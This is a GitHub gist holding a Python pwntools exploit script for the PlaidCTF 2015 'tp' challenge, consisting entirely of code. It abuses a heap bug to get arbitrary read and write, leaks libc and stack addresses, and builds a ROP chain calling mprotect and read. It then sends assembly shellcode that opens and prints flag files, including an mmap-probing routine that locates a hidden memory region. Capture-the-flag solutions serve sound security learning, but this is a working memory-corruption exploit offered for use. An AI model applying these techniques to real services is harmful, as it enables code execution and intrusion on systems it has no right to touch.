Created
September 21, 2016 18:50
-
-
Save rekkusu/7618813b7943dc4dc46934558ded301e to your computer and use it in GitHub Desktop.
PlaidCTF 2015 - tp
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# local libc | |
libc_data = 0x1bb000 | |
libc_main_arena = libc_data + 0x203760 | |
libc_environ = libc_data + 0x2064a0 | |
libc_gadget = { | |
'poprdi': 0x22b1a, | |
'poprsi': 0x24805, | |
'poprdx': 0x1b8e, | |
'mprotect': 0xf4a20, | |
'read': 0xeb800, | |
} | |
retaddr_rel = 0x168 | |
def asm(code): | |
import os | |
f = open('shellcode.S', 'w') | |
f.write(code) | |
f.close() | |
if os.system('nasm shellcode.S') != 0: | |
log.error('compile error') | |
return open('shellcode', 'rb').read() | |
def cmd_new(s, size): | |
s.send(p32(0)) | |
s.send(p64(size)) | |
num = s.recv(4) | |
log.info('new\t=> (%d, %d)' % (u32(num), size)) | |
def cmd_write(s, num, data, noread=False): | |
s.send(p32(1)) | |
s.send(p32(num)) | |
s.send(p64(len(data))) | |
s.send(data) | |
if noread: | |
r = -1 | |
log.info('write\t=> (%d, -)' % (num)) | |
else: | |
r = s.recv(4) | |
log.info('write\t=> (%d, %d)' % (num, u32(r))) | |
def cmd_read(s, num, size): | |
s.send(p32(2)) | |
s.send(p32(num)) | |
s.send(p64(size)) | |
data = s.recv(size) | |
r = s.recv(4) | |
log.info('read\t=> (%d, %d)' % (num, u32(r))) | |
log.info('\t\t' + data.encode('hex')) | |
return data | |
def cmd_free(s, num): | |
s.send(p32(3)) | |
s.send(p32(num)) | |
r = s.recv(4) | |
log.info('free\t=> (%d, %d)' % (num, u32(r))) | |
def cmd_delete(s, num): | |
s.send(p32(4)) | |
s.send(p32(num)) | |
r = s.recv(4) | |
log.info('delete\t=> (%d, %d)' % (num, u32(r))) | |
s = remote('', 0) | |
cmd_new(s, 1) | |
cmd_new(s, 1) | |
cmd_new(s, 0xffffffffffffffff) | |
cmd_new(s, 0xffffffffffffffff) | |
cmd_free(s, 1) | |
cmd_new(s, 0x28) | |
cmd_new(s, 2048) | |
cmd_write(s, 1, p64(256) + '\x88\x08') | |
main_arena = u64(cmd_read(s, 256, 8)) | |
libc_base = main_arena - libc_main_arena | |
log.info('main_arena: ' + hex(main_arena)) | |
log.info('libc_base: ' + hex(libc_base)) | |
cmd_write(s, 1, p64(256) + '\x00\x01') | |
thread_arena_base = u64(cmd_read(s, 256, 8)) - 0xe8 | |
log.info('thread_arena_base: ' + hex(thread_arena_base)) | |
cmd_write(s, 1, p64(256) + p64(libc_base + libc_environ)) | |
stack_env = u64(cmd_read(s, 256, 8)) - 0xe8 | |
retaddr = stack_env - retaddr_rel | |
log.info('stack_env: ' + hex(stack_env)) | |
log.info('retaddr: ' + hex(retaddr)) | |
cmd_write(s, 1, p64(256) + p64(retaddr)) | |
payload = ''.join(map(p64, [ | |
libc_base + libc_gadget['poprdi'], thread_arena_base, | |
libc_base + libc_gadget['poprsi'], 0x1000, | |
libc_base + libc_gadget['poprdx'], 0x7, | |
libc_base + libc_gadget['mprotect'], | |
libc_base + libc_gadget['poprdi'], 0x0, | |
libc_base + libc_gadget['poprsi'], thread_arena_base, | |
libc_base + libc_gadget['poprdx'], 0x1000, | |
libc_base + libc_gadget['read'], | |
thread_arena_base | |
])) | |
cmd_write(s, 256, payload, True) | |
sc = ''' | |
BITS 64 | |
main: | |
call get_flag1 | |
call get_flag2 | |
xor rdi, rdi | |
call exit | |
get_flag1: | |
lea rdi, [rel flag1] | |
xor rsi, rsi | |
xor rdx, rdx | |
call open | |
mov rdi, rax | |
call readflag | |
ret | |
readflag: | |
mov rsi, {buf} | |
mov rdx, 0x100 | |
call read | |
mov rdi, 1 | |
mov rsi, {buf} | |
mov rdx, rax | |
call write | |
ret | |
get_flag2: | |
fill: | |
mov rdi, [rel fill_start] | |
mov rsi, [rel fill_size] | |
mov rdx, 0 | |
mov r10, 0x22 | |
mov r8, -1 | |
mov r9, 0 | |
call mmap | |
cmp rax, 0 | |
jle fill_fail | |
cmp rax, rdi | |
jne fill_fail | |
call munmap | |
mov rax, [rel fill_start] | |
mov rbx, [rel fill_size] | |
add rax, rbx | |
mov [rel fill_start], rax | |
jmp fill | |
fill_fail: | |
mov rax, [rel fill_size] | |
cmp rax, 0x1000 | |
je fill_end | |
shr rax, 4 | |
mov [rel fill_size], rax | |
mov rbx, [rel fill_start] | |
add rbx, rax | |
mov [rel fill_start], rbx | |
jmp fill | |
fill_end: | |
mov rax, [rel fill_start] | |
mov [rel area_base], rax | |
mov ebx, dword [rax] | |
cmp ebx, 0x48d4ff41 | |
je found | |
add rax, 0x4000 ; skip allocated page | |
mov [rel fill_start], rax | |
mov rax, [rel fill_size2] | |
mov [rel fill_size], rax | |
jmp fill | |
found: | |
mov rbx, [rel area_base] | |
add rbx, 0xb0 | |
lea rdi, [rel flag2] | |
xor rsi, rsi | |
xor rdx, rdx | |
mov rax, 2 | |
call rbx | |
mov rdi, rax | |
call readflag | |
ret | |
read: | |
xor rax, rax | |
syscall | |
ret | |
write: | |
mov rax, 1 | |
syscall | |
ret | |
open: | |
mov rax, 2 | |
syscall | |
ret | |
mmap: | |
mov rax, 9 | |
syscall | |
ret | |
munmap: | |
mov rax, 11 | |
syscall | |
ret | |
exit: | |
mov rax, 231 | |
syscall | |
area_base dq 0 | |
fill_start dq 0x10000000 | |
fill_size dq 0x100000000 | |
fill_size2 dq 0x100000000 | |
flag1 db '/home/tp/flag1', 0 | |
flag2 db '/home/tp/flag2', 0 | |
'''.format(buf=thread_arena_base + 0x1000) | |
s.send(asm(sc)) | |
s.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment